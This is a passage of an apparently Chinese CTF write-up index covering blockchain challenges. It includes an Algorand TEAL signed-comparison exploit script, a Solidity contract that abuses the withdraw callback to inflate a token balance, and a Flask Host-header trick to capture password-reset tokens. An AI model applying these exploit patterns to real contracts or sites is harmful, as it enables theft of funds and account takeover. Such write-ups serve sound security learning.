margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 Use the TestNet. Submit by sending enough testnet algos to cover the current transaction fee to the CTF_Address. CTF_Address OH4YZ4QXWOWLHIUKPQAOMPBZBELCANRPRX3NI7SQFL2OFASHLBW5DTLDZQ AppID 163726037 \u89e3\u9898\u601d\u8def \u00b6 \u770b\u5730\u5740\u9996\u5148\u6392\u9664 Ethereum uwu \u6839\u636e TestNet \u548c algos \u9501\u5b9a Algorand \u751f\u6001 owo OH4YZ4QXWOWLHIUKPQAOMPBZBELCANRPRX3NI7SQFL2OFASHLBW5DTLDZQ \u4e3a\u666e\u901a\u8d26\u6237\uff0c 163726037 \u5bf9\u5e94\u9700\u8981\u4ea4\u4e92\u7684\u667a\u80fd\u5408\u7ea6\u8d26\u6237 Algorand \u667a\u80fd\u5408\u7ea6\u5305\u542b\u4e24\u90e8\u5206\uff0c ApprovalProgram \u548c ClearStateProgram \u3002 ApprovalProgram \u8d1f\u8d23\u5904\u7406\u4e3b\u5e94\u7528\u903b\u8f91\uff0c ClearStateProgram \u8d1f\u8d23\u5c06\u5bf9\u5e94\u667a\u80fd\u5408\u7ea6\u4ece\u8d26\u6237\u8bb0\u5f55\u4e2d\u79fb\u9664\uff0c\u6267\u884c\u6210\u529f\u8fd4\u56de \\(1\\) the flag will be sent to u once ur done with the app and provide the address enough to cover current transaction fees \u76ee\u6807\u662f\u4e0e\u5e94\u7528\u8fdb\u884c\u5b8c\u6574\u4ea4\u4e92\u3002\u4e0e\u5408\u7ea6\u4ea4\u4e92\u7684\u65b9\u6cd5\u5305\u62ec Opt-in\u3001Call(NoOp)\u3001Read state\u3001Update\u3001Close out\u3001Delete \u4ee5\u53ca Clear state \u5728\u5f00\u59cb\u4e0e\u4f7f\u7528\u672c\u5730\u72b6\u6001\u7684\u5e94\u7528\u4ea4\u4e92\u524d\uff0c\u8d26\u6237\u9700\u8981 Opt in \u5206\u6790 ApprovalProgram \uff0c\u6839\u636e OnCompletion \u7684\u7c7b\u578b\u6267\u884c\u76f8\u5173\u64cd\u4f5c\uff0c\u91cd\u70b9\u5173\u6ce8 OnCompletion == 0 \uff0c\u5373 NoOp\u3002\u76ee\u6807\u5e94\u7528\u652f\u6301 setup \u548c buy \u9996\u5148\u901a\u8fc7 setup \u5411\u5e94\u7528\u6ce8\u518c asset\uff0c\u5e76\u5411\u5e94\u7528\u8f6c\u79fb\u4e00\u90e8\u5206 asset \u4ee5\u4fbf\u540e\u7eed\u8d2d\u4e70\u64cd\u4f5c \u518d\u8fdb\u884c buy \uff0c\u9700\u8981\u53d1\u9001\u4e00\u4e2a\u4ea4\u6613\u7ec4\uff0c\u5176\u4e2d\u7b2c\u4e00\u4e2a\u4ea4\u6613\u4e3a Payment\uff08\u5411\u5e94\u7528\u652f\u4ed8\u8d2d\u4e70 asset \u7684 algo\uff09\uff0c\u7b2c\u4e8c\u4e2a\u662f Application Call Approval Program #pragma version 5 intcblock 1 0 4 9223372036854775808 // prepare block of uint64 constants for use by intc bytecblock 0x7374617274 0x656e64 0x61646d696e5f6b6579 0x6e66745f6964 // prepare block of byte-array constants for use by bytec // Deploy or Call? txn ApplicationID intc_1 // 0 == bnz label1 txn OnCompletion intc_1 // 0, NoOp, only execute the ApprovalProgram associated with this application ID, with no additional effects. == bnz label2 txn OnCompletion intc_0 // 1, OptIn, before executing the ApprovalProgram, allocate local state for this application into the sender's account data == bnz label3 txn OnCompletion pushint 2 // CloseOut, after executing the ApprovalProgram, clear any local state for this application out of the sender's account data. == bnz label4 txn OnCompletion pushint 5 // DeleteApplication == bnz label5 txn OnCompletion intc_2 // 4, UpdateApplication == bnz label6 err label6: intc_1 // 0 return label5: txn Sender global CreatorAddress == assert bytec_2 // \"admin_key\" app_global_get callsub label7 intc_0 // 1 return label4: intc_0 // 1 return label3: intc_0 // 1 return label2: txna ApplicationArgs 0 // 0-th value of the ApplicationArgs array of the current transaction pushbytes 0x7365747570 // \"setup\" == bnz label8 txna ApplicationArgs 0 pushbytes 0x627579 // \"buy\" == bnz label9 err label9: global CurrentApplicationAddress // Address that the current application controls txna Assets 0 // Foreign Assets listed in the ApplicationCall transaction asset_holding_get AssetBalance store 1 // store is_opted_in to the 1-th scratch space store 0 // store asset balance to the 0-th scratch space load 1 // load is_opted_in from the 1-th scratch space intc_1 // 0 load 0 callsub label10 && // if is_opted_in and asset balance > 0 txn Sender bytec_0 // \"start\" app_local_get global LatestTimestamp callsub label10 && global LatestTimestamp txn Sender bytec_1 // \"end\" app_local_get callsub label10 && txn GroupIndex // index=1 intc_0 // 1 - // GroupIndex - 1 gtxns TypeEnum // field F of the (GroupIndex - 1)-th transaction in the current group intc_0 // 1 == && txn GroupIndex // index=1 intc_0 // 1 - gtxns Sender txn Sender == && txn GroupIndex // index=1 intc_0 // 1 - gtxns Receiver global CurrentApplicationAddress == && global MinTxnFee txn GroupIndex // index=1 intc_0 // 1 - gtxns Amount callsub label10 && assert txna ApplicationArgs 1 btoi global LatestTimestamp + txn Sender bytec_0 // \"start\" app_local_get callsub label10 bnz label11 intc_1 // 0 return label11: txn Sender bytec_3 // \"nft_id\" app_local_get txn Sender callsub label12 intc_0 // 1 return label8: itxn_begin // begin preparation of a new inner transaction in a new transaction group intc_2 // 4 itxn_field TypeEnum // set field of the current inner transaction to AssetTransfer txna Assets 0 itxn_field XferAsset global CurrentApplicationAddress itxn_field AssetReceiver itxn_submit // execute the current inner transaction group txn Sender bytec_3 // \"nft_id\" txna Assets 0 app_local_put // store the nft_id in the sender's local state txn Sender pushbytes 0x73656c6c6572 // \"seller\" txn Sender app_local_put // store the seller address in the sender's local state txn Sender bytec_0 // \"start\" global LatestTimestamp app_local_put txn Sender bytec_1 // \"end\" txna ApplicationArgs 1 btoi app_local_put txn Sender bytec_0 // \"start\" app_local_get txn Sender bytec_1 // \"end\" app_local_get < assert // require start < end intc_0 // 1, approval return label1: bytec_2 // \"admin_key\" txn Sender app_global_put intc_0 // 1 return label12: store 3 store 2 global CurrentApplicationAddress load 2 asset_holding_get AssetBalance store 5 store 4 load 5 bz label13 itxn_begin intc_2 // 4 itxn_field TypeEnum load 2 itxn_field XferAsset load 3 itxn_field AssetCloseTo itxn_submit label13: retsub label7: store 6 global CurrentApplicationAddress balance intc_1 // 0 != bz label14 itxn_begin intc_0 // 1 itxn_field TypeEnum load 6 itxn_field CloseRemainderTo itxn_submit label14: retsub label10: store 8 store 7 intc_3 // 9223372036854775808 load 7 & bnz label15 intc_3 // 9223372036854775808, 0x8000000000000000 load 8 & bnz label16 load 7 load 8 < bnz label17 intc_1 // 0 retsub label17: intc_0 // 1 retsub label16: intc_1 // 0 retsub label15: intc_3 // 9223372036854775808 load 8 & bnz label18 intc_0 // 1 retsub label18: load 7 load 8 > bnz label19 intc_1 // 0 retsub label19: intc_0 // 1 retsub CTF_Address \u4f1a\u5411\u5b8c\u6210\u4ea4\u6613\u7684\u8d26\u6237\u53d1\u8d77 Transfer \u4ea4\u6613\uff0c\u5176\u4e2d\u5305\u542b\u4f7f\u7528 AlgoSMS \u52a0\u5bc6\u7684 Flag Exploit \u00b6 from algosdk.v2client import algod from algosdk import transaction , account , constants from Crypto.Util.number import long_to_bytes from datetime import datetime import json def transact ( txn ): if not isinstance ( txn , list ): signed_txn = txn . sign ( private_key ) txid = algod_client . send_transaction ( signed_txn ) else : signed_txns = [ t . sign ( private_key ) for t in txn ] txid = algod_client . send_transactions ( signed_txns ) confirmed_txn = transaction . wait_for_confirmation ( algod_client , txid , 4 ) print ( f \"Transaction information: { json . dumps ( confirmed_txn , indent = 4 ) } \" ) return confirmed_txn private_key = '' sender = account . address_from_private_key ( private_key ) app_id = 163726037 app_address = \"5K7JP6324NOEPDB5THIZY3FWHUKF4FBPJFYKIUX2SBNG264NUY6E3AI3BM\" algod_address = \"https://testnet-algorand.api.purestake.io/ps2\" algod_token = \"\" headers = { \"X-API-Key\" : algod_token , } algod_client = algod . AlgodClient ( algod_token , algod_address , headers ) params = algod_client . suggested_params () # OptIn optin_txn = transaction . ApplicationOptInTxn ( sender , params , app_id ) transact ( optin_txn ) # Create asset create_txn = transaction . AssetCreateTxn ( sender , params , 100 , decimals = 2 , default_frozen = False , unit_name = \"CC\" , asset_name = \"Chicken Coin\" , manager = sender , ) res = transact ( create_txn ) asset_id = res [ 'asset-index' ] setup_txn = transaction . ApplicationNoOpTxn ( sender , params , app_id , [ b 'setup' , long_to_bytes ( int ( datetime . now () . timestamp () * 1000 ) + 0x80000000 )], foreign_assets = [ asset_id ], foreign_apps = [ asset_id ], ) transact ( setup_txn ) transfer_txn = transaction . AssetTransferTxn ( sender , params , app_address , 1 , asset_id , ) transact ( transfer_txn ) payment_txn = transaction . PaymentTxn ( sender , params , app_address , constants . MIN_TXN_FEE * 10 , ) noop_txn = transaction . ApplicationNoOpTxn ( sender , params , app_id , [ b 'buy' , long_to_bytes ( 9223372036854775808 )], foreign_assets = [ asset_id ], foreign_apps = [ asset_id ], ) gid = transaction . calculate_group_id ([ payment_txn , noop_txn ]) payment_txn . group = gid noop_txn . group = gid transact ([ payment_txn , noop_txn ]) close_txn = transaction . ApplicationCloseOutTxn ( sender , params , app_id , ) transact ( close_txn ) const algosdk = require ( 'algosdk' ); const { unsealMessageFromNote } = require ( 'algosms' ); async function main () { const baseServer = 'https://testnet-algorand.api.purestake.io/idx2' const port = '' ; const token = { 'X-API-Key' : '' } let indexerClient = new algosdk . Indexer ( token , baseServer , port ); const accRcpt = algosdk . mnemonicToSecretKey ( '' ); /* get the TXN with encrypted note from indexer */ let SmsTXID = \"DPHCQMJZ7BKJZHZO674VWGUO3J7JJAIKFKGSAEDHBSQBVYGV4I7A\" ; const txn = await indexerClient . lookupTransactionByID ( SmsTXID ). do (); /* convert base64 to bytes */ const note = Buffer . from ( txn . transaction . note , 'base64' ); const senderAddr = txn . transaction . sender ; /* decrypt the note with recipient secret key */ const msg = unsealMessageFromNote ( note , senderAddr , accRcpt ); console . log ( msg ); } main (); Flag \u00b6 wctf{1_h0p3_y0u_d0nt_4cc1dent4lly_4get_t0_r3m0ve_th3_4pp} \u53c2\u8003\u8d44\u6599 \u00b6 Interact with smart contracts - Algorand Developer Portal Opcodes - Algorand Developer Portal PureStake Developer Portal algosms - npm","title":"TealyMan"},{"location":"blockchain/tealyman/#_1","text":"Use the TestNet. Submit by sending enough testnet algos to cover the current transaction fee to the CTF_Address. CTF_Address OH4YZ4QXWOWLHIUKPQAOMPBZBELCANRPRX3NI7SQFL2OFASHLBW5DTLDZQ AppID 163726037","title":"\u9898\u76ee"},{"location":"blockchain/tealyman/#_2","text":"\u770b\u5730\u5740\u9996\u5148\u6392\u9664 Ethereum uwu \u6839\u636e TestNet \u548c algos \u9501\u5b9a Algorand \u751f\u6001 owo OH4YZ4QXWOWLHIUKPQAOMPBZBELCANRPRX3NI7SQFL2OFASHLBW5DTLDZQ \u4e3a\u666e\u901a\u8d26\u6237\uff0c 163726037 \u5bf9\u5e94\u9700\u8981\u4ea4\u4e92\u7684\u667a\u80fd\u5408\u7ea6\u8d26\u6237 Algorand \u667a\u80fd\u5408\u7ea6\u5305\u542b\u4e24\u90e8\u5206\uff0c ApprovalProgram \u548c ClearStateProgram \u3002 ApprovalProgram \u8d1f\u8d23\u5904\u7406\u4e3b\u5e94\u7528\u903b\u8f91\uff0c ClearStateProgram \u8d1f\u8d23\u5c06\u5bf9\u5e94\u667a\u80fd\u5408\u7ea6\u4ece\u8d26\u6237\u8bb0\u5f55\u4e2d\u79fb\u9664\uff0c\u6267\u884c\u6210\u529f\u8fd4\u56de \\(1\\) the flag will be sent to u once ur done with the app and provide the address enough to cover current transaction fees \u76ee\u6807\u662f\u4e0e\u5e94\u7528\u8fdb\u884c\u5b8c\u6574\u4ea4\u4e92\u3002\u4e0e\u5408\u7ea6\u4ea4\u4e92\u7684\u65b9\u6cd5\u5305\u62ec Opt-in\u3001Call(NoOp)\u3001Read state\u3001Update\u3001Close out\u3001Delete \u4ee5\u53ca Clear state \u5728\u5f00\u59cb\u4e0e\u4f7f\u7528\u672c\u5730\u72b6\u6001\u7684\u5e94\u7528\u4ea4\u4e92\u524d\uff0c\u8d26\u6237\u9700\u8981 Opt in \u5206\u6790 ApprovalProgram \uff0c\u6839\u636e OnCompletion \u7684\u7c7b\u578b\u6267\u884c\u76f8\u5173\u64cd\u4f5c\uff0c\u91cd\u70b9\u5173\u6ce8 OnCompletion == 0 \uff0c\u5373 NoOp\u3002\u76ee\u6807\u5e94\u7528\u652f\u6301 setup \u548c buy \u9996\u5148\u901a\u8fc7 setup \u5411\u5e94\u7528\u6ce8\u518c asset\uff0c\u5e76\u5411\u5e94\u7528\u8f6c\u79fb\u4e00\u90e8\u5206 asset \u4ee5\u4fbf\u540e\u7eed\u8d2d\u4e70\u64cd\u4f5c \u518d\u8fdb\u884c buy \uff0c\u9700\u8981\u53d1\u9001\u4e00\u4e2a\u4ea4\u6613\u7ec4\uff0c\u5176\u4e2d\u7b2c\u4e00\u4e2a\u4ea4\u6613\u4e3a Payment\uff08\u5411\u5e94\u7528\u652f\u4ed8\u8d2d\u4e70 asset \u7684 algo\uff09\uff0c\u7b2c\u4e8c\u4e2a\u662f Application Call Approval Program #pragma version 5 intcblock 1 0 4 9223372036854775808 // prepare block of uint64 constants for use by intc bytecblock 0x7374617274 0x656e64 0x61646d696e5f6b6579 0x6e66745f6964 // prepare block of byte-array constants for use by bytec // Deploy or Call? txn ApplicationID intc_1 // 0 == bnz label1 txn OnCompletion intc_1 // 0, NoOp, only execute the ApprovalProgram associated with this application ID, with no additional effects. == bnz label2 txn OnCompletion intc_0 // 1, OptIn, before executing the ApprovalProgram, allocate local state for this application into the sender's account data == bnz label3 txn OnCompletion pushint 2 // CloseOut, after executing the ApprovalProgram, clear any local state for this application out of the sender's account data. == bnz label4 txn OnCompletion pushint 5 // DeleteApplication == bnz label5 txn OnCompletion intc_2 // 4, UpdateApplication == bnz label6 err label6: intc_1 // 0 return label5: txn Sender global CreatorAddress == assert bytec_2 // \"admin_key\" app_global_get callsub label7 intc_0 // 1 return label4: intc_0 // 1 return label3: intc_0 // 1 return label2: txna ApplicationArgs 0 // 0-th value of the ApplicationArgs array of the current transaction pushbytes 0x7365747570 // \"setup\" == bnz label8 txna ApplicationArgs 0 pushbytes 0x627579 // \"buy\" == bnz label9 err label9: global CurrentApplicationAddress // Address that the current application controls txna Assets 0 // Foreign Assets listed in the ApplicationCall transaction asset_holding_get AssetBalance store 1 // store is_opted_in to the 1-th scratch space store 0 // store asset balance to the 0-th scratch space load 1 // load is_opted_in from the 1-th scratch space intc_1 // 0 load 0 callsub label10 && // if is_opted_in and asset balance > 0 txn Sender bytec_0 // \"start\" app_local_get global LatestTimestamp callsub label10 && global LatestTimestamp txn Sender bytec_1 // \"end\" app_local_get callsub label10 && txn GroupIndex // index=1 intc_0 // 1 - // GroupIndex - 1 gtxns TypeEnum // field F of the (GroupIndex - 1)-th transaction in the current group intc_0 // 1 == && txn GroupIndex // index=1 intc_0 // 1 - gtxns Sender txn Sender == && txn GroupIndex // index=1 intc_0 // 1 - gtxns Receiver global CurrentApplicationAddress == && global MinTxnFee txn GroupIndex // index=1 intc_0 // 1 - gtxns Amount callsub label10 && assert txna ApplicationArgs 1 btoi global LatestTimestamp + txn Sender bytec_0 // \"start\" app_local_get callsub label10 bnz label11 intc_1 // 0 return label11: txn Sender bytec_3 // \"nft_id\" app_local_get txn Sender callsub label12 intc_0 // 1 return label8: itxn_begin // begin preparation of a new inner transaction in a new transaction group intc_2 // 4 itxn_field TypeEnum // set field of the current inner transaction to AssetTransfer txna Assets 0 itxn_field XferAsset global CurrentApplicationAddress itxn_field AssetReceiver itxn_submit // execute the current inner transaction group txn Sender bytec_3 // \"nft_id\" txna Assets 0 app_local_put // store the nft_id in the sender's local state txn Sender pushbytes 0x73656c6c6572 // \"seller\" txn Sender app_local_put // store the seller address in the sender's local state txn Sender bytec_0 // \"start\" global LatestTimestamp app_local_put txn Sender bytec_1 // \"end\" txna ApplicationArgs 1 btoi app_local_put txn Sender bytec_0 // \"start\" app_local_get txn Sender bytec_1 // \"end\" app_local_get < assert // require start < end intc_0 // 1, approval return label1: bytec_2 // \"admin_key\" txn Sender app_global_put intc_0 // 1 return label12: store 3 store 2 global CurrentApplicationAddress load 2 asset_holding_get AssetBalance store 5 store 4 load 5 bz label13 itxn_begin intc_2 // 4 itxn_field TypeEnum load 2 itxn_field XferAsset load 3 itxn_field AssetCloseTo itxn_submit label13: retsub label7: store 6 global CurrentApplicationAddress balance intc_1 // 0 != bz label14 itxn_begin intc_0 // 1 itxn_field TypeEnum load 6 itxn_field CloseRemainderTo itxn_submit label14: retsub label10: store 8 store 7 intc_3 // 9223372036854775808 load 7 & bnz label15 intc_3 // 9223372036854775808, 0x8000000000000000 load 8 & bnz label16 load 7 load 8 < bnz label17 intc_1 // 0 retsub label17: intc_0 // 1 retsub label16: intc_1 // 0 retsub label15: intc_3 // 9223372036854775808 load 8 & bnz label18 intc_0 // 1 retsub label18: load 7 load 8 > bnz label19 intc_1 // 0 retsub label19: intc_0 // 1 retsub CTF_Address \u4f1a\u5411\u5b8c\u6210\u4ea4\u6613\u7684\u8d26\u6237\u53d1\u8d77 Transfer \u4ea4\u6613\uff0c\u5176\u4e2d\u5305\u542b\u4f7f\u7528 AlgoSMS \u52a0\u5bc6\u7684 Flag","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/tealyman/#exploit","text":"from algosdk.v2client import algod from algosdk import transaction , account , constants from Crypto.Util.number import long_to_bytes from datetime import datetime import json def transact ( txn ): if not isinstance ( txn , list ): signed_txn = txn . sign ( private_key ) txid = algod_client . send_transaction ( signed_txn ) else : signed_txns = [ t . sign ( private_key ) for t in txn ] txid = algod_client . send_transactions ( signed_txns ) confirmed_txn = transaction . wait_for_confirmation ( algod_client , txid , 4 ) print ( f \"Transaction information: { json . dumps ( confirmed_txn , indent = 4 ) } \" ) return confirmed_txn private_key = '' sender = account . address_from_private_key ( private_key ) app_id = 163726037 app_address = \"5K7JP6324NOEPDB5THIZY3FWHUKF4FBPJFYKIUX2SBNG264NUY6E3AI3BM\" algod_address = \"https://testnet-algorand.api.purestake.io/ps2\" algod_token = \"\" headers = { \"X-API-Key\" : algod_token , } algod_client = algod . AlgodClient ( algod_token , algod_address , headers ) params = algod_client . suggested_params () # OptIn optin_txn = transaction . ApplicationOptInTxn ( sender , params , app_id ) transact ( optin_txn ) # Create asset create_txn = transaction . AssetCreateTxn ( sender , params , 100 , decimals = 2 , default_frozen = False , unit_name = \"CC\" , asset_name = \"Chicken Coin\" , manager = sender , ) res = transact ( create_txn ) asset_id = res [ 'asset-index' ] setup_txn = transaction . ApplicationNoOpTxn ( sender , params , app_id , [ b 'setup' , long_to_bytes ( int ( datetime . now () . timestamp () * 1000 ) + 0x80000000 )], foreign_assets = [ asset_id ], foreign_apps = [ asset_id ], ) transact ( setup_txn ) transfer_txn = transaction . AssetTransferTxn ( sender , params , app_address , 1 , asset_id , ) transact ( transfer_txn ) payment_txn = transaction . PaymentTxn ( sender , params , app_address , constants . MIN_TXN_FEE * 10 , ) noop_txn = transaction . ApplicationNoOpTxn ( sender , params , app_id , [ b 'buy' , long_to_bytes ( 9223372036854775808 )], foreign_assets = [ asset_id ], foreign_apps = [ asset_id ], ) gid = transaction . calculate_group_id ([ payment_txn , noop_txn ]) payment_txn . group = gid noop_txn . group = gid transact ([ payment_txn , noop_txn ]) close_txn = transaction . ApplicationCloseOutTxn ( sender , params , app_id , ) transact ( close_txn ) const algosdk = require ( 'algosdk' ); const { unsealMessageFromNote } = require ( 'algosms' ); async function main () { const baseServer = 'https://testnet-algorand.api.purestake.io/idx2' const port = '' ; const token = { 'X-API-Key' : '' } let indexerClient = new algosdk . Indexer ( token , baseServer , port ); const accRcpt = algosdk . mnemonicToSecretKey ( '' ); /* get the TXN with encrypted note from indexer */ let SmsTXID = \"DPHCQMJZ7BKJZHZO674VWGUO3J7JJAIKFKGSAEDHBSQBVYGV4I7A\" ; const txn = await indexerClient . lookupTransactionByID ( SmsTXID ). do (); /* convert base64 to bytes */ const note = Buffer . from ( txn . transaction . note , 'base64' ); const senderAddr = txn . transaction . sender ; /* decrypt the note with recipient secret key */ const msg = unsealMessageFromNote ( note , senderAddr , accRcpt ); console . log ( msg ); } main ();","title":"Exploit"},{"location":"blockchain/tealyman/#flag","text":"wctf{1_h0p3_y0u_d0nt_4cc1dent4lly_4get_t0_r3m0ve_th3_4pp}","title":"Flag"},{"location":"blockchain/tealyman/#_3","text":"Interact with smart contracts - Algorand Developer Portal Opcodes - Algorand Developer Portal PureStake Developer Portal algosms - npm","title":"\u53c2\u8003\u8d44\u6599"},{"location":"blockchain/tetctftoken/","tags":["web","smart contract"],"text":"#web #smart contract .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 So, this year, we have something cool for you. We hope you will enjoy it. Happy New Year. ~Cheers, Server: http://172.105.114.30:31337 tetctftoken.zip \u89e3\u9898\u601d\u8def \u00b6 \u4e0d\u592a\u5e38\u89c1\u7684 Web2 + Web3 \u7ec4\u5408\u9898\uff0c\u4e0d\u8fc7\u5e78\u597d\u4e24\u4e2a\u90e8\u5206\u53ef\u4ee5\u72ec\u7acb\u89e3\u9898 (=\u03c9=) Strellic \u5b8c\u6210\u4e86 Web2 \u7684\u90e8\u5206\uff0c\u5173\u952e\u70b9\u5728 app.py \u4e2d\u51fd\u6570 userType \u4f7f\u7528\u4e86 url_for('gen_token', Type=_secret_token, _external=True) \u6765\u83b7\u53d6 _secret_reset_passwd_URL \uff0c\u5e76\u5411\u5176\u53d1\u9001\u5305\u542b\u65b0\u5bc6\u7801\u7684\u8bf7\u6c42 \u56e0\u4e3a external=True \uff0c\u6240\u4ee5\u4f1a\u7ed3\u5408\u8bbe\u7f6e\u7684 SERVER_NAME \u6765\u751f\u6210\u5b8c\u6574\u7684 URL \u800c\u670d\u52a1\u5668\u5e76\u6ca1\u6709\u8bbe\u7f6e SERVER_NAME \uff0c\u56e0\u6b64\u4f1a\u4ece\u8bf7\u6c42\u5934\u4e2d\u83b7\u53d6 Host \u5b57\u6bb5\u4f5c\u4e3a SERVER_NAME 1 \u5c06 Host \u8bbe\u7f6e\u4e3a\u53ef\u63a7\u5730\u5740\uff0c\u518d\u53d1\u9001\u91cd\u7f6e\u5bc6\u7801\u7684\u8bf7\u6c42\uff0c\u5c31\u53ef\u4ee5\u76d1\u542c\u5230\u670d\u52a1\u5668\u8bf7\u6c42 /secret-token/ \uff0c\u5176\u4e2d\uff0c Type \u5bf9\u5e94\u65b0\u7684\u8d26\u6237\u5bc6\u7801 TetCTFToken/templates/dashboard.html \u4e2d\u7ed9\u51fa\u4e86\u5408\u7ea6 TetCTFToken \u548c FlagStore \u7684\u5730\u5740\uff0c\u5e76\u5728 BscScan \u4e0a\u63d0\u4f9b\u4e86\u5408\u7ea6\u7684\u6e90\u7801 //SPDX-License-Identifier: MIT pragma solidity ^ 0.8.0 ; // \u4e3a\u4e86\u65b9\u4fbf\u9605\u8bfb\uff0c\u5c06\u7236\u5408\u7ea6\u8f6c\u6362\u6210 import \u7684\u5f62\u5f0f import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" ; import \"@openzeppelin/contracts/access/Ownable.sol\" ; import \"@openzeppelin/contracts/security/ReentrancyGuard.sol\" ; contract TetCTFToken is ERC20 ( \"TetCTF Token\" , \"TetCTF\" ), Ownable , ReentrancyGuard { function mint ( address _to , uint _amount ) external onlyOwner { _mint ( _to , _amount ); } function burn ( address _from , uint _amount ) external onlyOwner { _burn ( _from , _amount ); } } contract FlagStore is Ownable , ReentrancyGuard { TetCTFToken public immutable token ; uint public flagPrice = 1337 * 1e18 ; mapping ( string => bool ) public flagClaimed ; constructor () { token = new TetCTFToken (); } function setFlagPrice ( uint price ) external onlyOwner { flagPrice = price ; } function deposit () external payable nonReentrant { token . mint ( msg . sender , msg . value ); } function withdraw () external nonReentrant { require ( token . balanceOf ( msg . sender ) > 0 , \"Insufficient balance\" ); ( bool success , ) = msg . sender . call { value : token . balanceOf ( msg . sender )}( \"\" ); require ( success , \"Failed to send Ether\" ); token . burn ( msg . sender , token . balanceOf ( msg . sender )); } function buyFlag ( string memory user ) external returns ( bool ) { require ( address ( msg . sender ). code . length == 0 , \"Smart contract is not allowed\" ); require ( token . balanceOf ( msg . sender ) >= flagPrice , \"Insufficient balance\" ); token . burn ( msg . sender , flagPrice ); flagClaimed [ user ] = true ; return true ; } } FlagStore \u662f\u4e3b\u8981\u4ea4\u4e92\u5408\u7ea6\uff0c\u53ef\u4ee5\u901a\u8fc7\u51fd\u6570 deposit \u7528 BNB \u6362\u53d6\u7b49\u91cf\u7684 TetCTFToken \uff0c\u968f\u540e\u53ef\u901a\u8fc7 withdraw \u5c06\u8d26\u6237\u4e2d\u6240\u6709\u7684 TetCTFToken \u6362\u56de\u7b49\u91cf\u7684 BNB \u51fd\u6570 deposit \u548c withdraw \u5747\u4f7f\u7528\u4e86 nonReentrant \u4fee\u9970\u7b26\uff0c\u4ee5\u9632\u6b62\u91cd\u5165\u653b\u51fb\uff0c\u5373\u4fbf\u5982\u6b64\uff0c\u7531\u4e8e\u4e0d\u7b26\u5408 Checks-Effects-Interactions \u6a21\u5f0f\uff0c msg.sender.call{value: token.balanceOf(msg.sender)}(\"\") \u4e5f\u662f\u503c\u5f97\u91cd\u70b9\u5173\u6ce8\u7684\u5bf9\u8c61\u3002\u4e0d\u80fd\u91cd\u590d\u8c03\u7528 deposit \u548c withdraw \uff0c\u90a3\u4e48\u5728\u5408\u7ea6\u7684\u56de\u8c03\u51fd\u6570\u4e2d\u8fd8\u80fd\u505a\u4ec0\u4e48\u5462\uff1f \u6ce8\u610f\u5230 msg.sender.call \u548c token.burn \u90fd\u4f7f\u7528\u4e86 token.balanceOf \u6765\u83b7\u53d6\u8c03\u7528\u8005\u6301\u6709 TetCTFToken \u7684\u6570\u91cf\uff0c\u56e0\u6b64\u5373\u4f7f\u5728 msg.sender.call \u89e6\u53d1\u7684\u56de\u8c03\u51fd\u6570\u4e2d\u8f6c\u79fb TetCTFToken \uff0c token.burn \u4e5f\u4e0d\u4f1a\u629b\u51fa\u5f02\u5e38 contract Hack is Ownable { FlagStore store ; TetCTFToken token ; constructor ( address instance ) payable { store = FlagStore ( instance ); token = TetCTFToken ( store . token ()); } // \u8c03\u7528\u4e00\u6b21\u6c7d\u6cb9\u8d39\u7ea6 0.12 BNB\uff0c\u5c3d\u53ef\u80fd\u63d0\u9ad8\u5355\u6b21\u4ea4\u6613\u91d1\u989d\u4ee5\u8282\u7ea6\u8d44\u91d1 function exploit () public { for ( uint i = 0 ; i < 191 ; i ++ ) { store . deposit { value : 1 ether }(); store . withdraw (); } } function destruct () public onlyOwner { selfdestruct ( payable ( msg . sender )); // \u56de\u6536 BNB (\u2565\u03c9\u2565) } receive () payable external { token . transfer ( tx . origin , 1e18 ); } } \u83b7\u53d6\u8db3\u591f\u7684 TetCTFToken \u540e\uff0c\u8c03\u7528 buyFlag \u5e76\u4f20\u5165\u5728\u7f51\u7ad9\u6ce8\u518c\u7684\u7528\u6237\u540d\uff0c\u6700\u540e Buy Flag \u5c31\u53ef\u4ee5\u5566 :D URL Routing \u2014 Werkzeug Documentation \u21a9","title":"TetCTFToken"},{"location":"blockchain/tetctftoken/#_1","text":"So, this year, we have something cool for you. We hope you will enjoy it. Happy New Year. ~Cheers, Server: http://172.105.114.30:31337 tetctftoken.zip","title":"\u9898\u76ee"},{"location":"blockchain/tetctftoken/#_2","text":"\u4e0d\u592a\u5e38\u89c1\u7684 Web2 + Web3 \u7ec4\u5408\u9898\uff0c\u4e0d\u8fc7\u5e78\u597d\u4e24\u4e2a\u90e8\u5206\u53ef\u4ee5\u72ec\u7acb\u89e3\u9898 (=\u03c9=) Strellic \u5b8c\u6210\u4e86 Web2 \u7684\u90e8\u5206\uff0c\u5173\u952e\u70b9\u5728 app.py \u4e2d\u51fd\u6570 userType \u4f7f\u7528\u4e86 url_for('gen_token', Type=_secret_token, _external=True) \u6765\u83b7\u53d6 _secret_reset_passwd_URL \uff0c\u5e76\u5411\u5176\u53d1\u9001\u5305\u542b\u65b0\u5bc6\u7801\u7684\u8bf7\u6c42 \u56e0\u4e3a external=True \uff0c\u6240\u4ee5\u4f1a\u7ed3\u5408\u8bbe\u7f6e\u7684 SERVER_NAME \u6765\u751f\u6210\u5b8c\u6574\u7684 URL \u800c\u670d\u52a1\u5668\u5e76\u6ca1\u6709\u8bbe\u7f6e SERVER_NAME \uff0c\u56e0\u6b64\u4f1a\u4ece\u8bf7\u6c42\u5934\u4e2d\u83b7\u53d6 Host \u5b57\u6bb5\u4f5c\u4e3a SERVER_NAME 1 \u5c06 Host \u8bbe\u7f6e\u4e3a\u53ef\u63a7\u5730\u5740\uff0c\u518d\u53d1\u9001\u91cd\u7f6e\u5bc6\u7801\u7684\u8bf7\u6c42\uff0c\u5c31\u53ef\u4ee5\u76d1\u542c\u5230\u670d\u52a1\u5668\u8bf7\u6c42 /secret-token/ \uff0c\u5176\u4e2d\uff0c Type \u5bf9\u5e94\u65b0\u7684\u8d26\u6237\u5bc6\u7801 TetCTFToken/templates/dashboard.html \u4e2d\u7ed9\u51fa\u4e86\u5408\u7ea6 